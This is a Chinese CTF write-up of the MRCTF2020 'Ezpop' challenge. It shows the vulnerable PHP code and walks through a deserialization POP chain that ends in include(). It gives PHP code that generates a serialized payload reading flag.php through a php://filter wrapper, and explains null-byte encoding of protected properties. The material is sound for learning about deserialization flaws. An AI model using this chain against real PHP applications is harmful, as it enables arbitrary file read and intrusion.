[MRCTF2020]Ezpop复现

题目

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这个题目主要考察各种魔法方法的调用,这里用到的魔法方法如下:

__invoke()

当脚本尝试将对象调用为函数时,调用__invoke()方法。

__toString()

__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

__wakeup()

unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务

__get()

__get()用于从不可访问的属性读取数据。

 

分析

反序列化的题一般都是先从入口看起,那这题肯定是wakeup为入口。

然后我们去找漏洞点,很明显,include存在一个包含漏洞,所以最后触发即可。

但是到这之后我就卡住了,如何触发__toString我一直没想明白,,当然这题也是这块比较难想到

所以先跳过看了后面的触发逻辑,后面逻辑比较清晰,如果给$str赋值为没有$source或$source是私有(保护也行)的,那么就能触发__get()

__get()在Test类里,调用了p,那么让p等于Modify类就可触发__invoke(),此时让$var='php://filter/convert.base64-encode/resource=flag.php';

回过头我们再来看__tostring的触发方式,当类以字符串的形式使用时会触发。

反序列化进行的时候,必然会触发一次__wakeup(),在此函数里有一个preg_match,

而比较参数的第二个位置如果是new Show(),那么就会以字符串形式处理Show(),触发__toString

由此可以写出payload:

<?php
class Modifier {
    protected  $var='php://filter/convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
    public function __toString(){
        return "xxx";//注意这里,如果你想通过编译,必须给toString一个确定的返回值
    }
}

class Test{
    public $p;
}
//我建议这样写,因为ctf中的类一般都会用到
$a=new Show();
$b=new Test();
$c=new Modifier();

$a->str=$b;//触发__get()
$b->p=$c;//触发__invoke()
$d=new Show($a);//触发__toString()
echo serialize($d);

pop链:__wakeup() => __wakeup() => __toString() => __get() => __invoke() => Modify.append()

而且这里有两个小问题:

第一个:

当第一次wakeup触发时source=index.php是由于我们$a=new Show();时构造函数赋值的

第二次wakeup触发时source=Show对象,所以此处的过滤器压根不生效了,你也可以直接用file去做任意文件读取

第二个:

如果你按照我的payload输出后你应该看到

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

里面有个*var,它认为是一个6长度的字符串,但这只有4个字符,剩下两个字符呢?

这是因为$var是受保护的,所以他有两个不可见字符,其实应该为%00*%00var

这也是为什么很多wp里有一步url编码的原因,其实你手动加两个%00也是一样的

反序列化类中有私有(保护)变量:
<?php
class Test{
    private $test='hello';
    private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

O:4:"Test":2:{s:10:"%00Test%00test";s:5:"hello";s:9:"%00Test%00var";N;}
private
在序列化完成后会带上类名,把类名前后加上%00做绕过
在我们需要传入该序列化字符串时,需要补齐两个空字节:

即上面所显示的%00Test%00name

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test和%00*%00var

也就是%00*%00属性名

 

上一篇:攻防世界Web篇——unserialize3


下一篇:攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup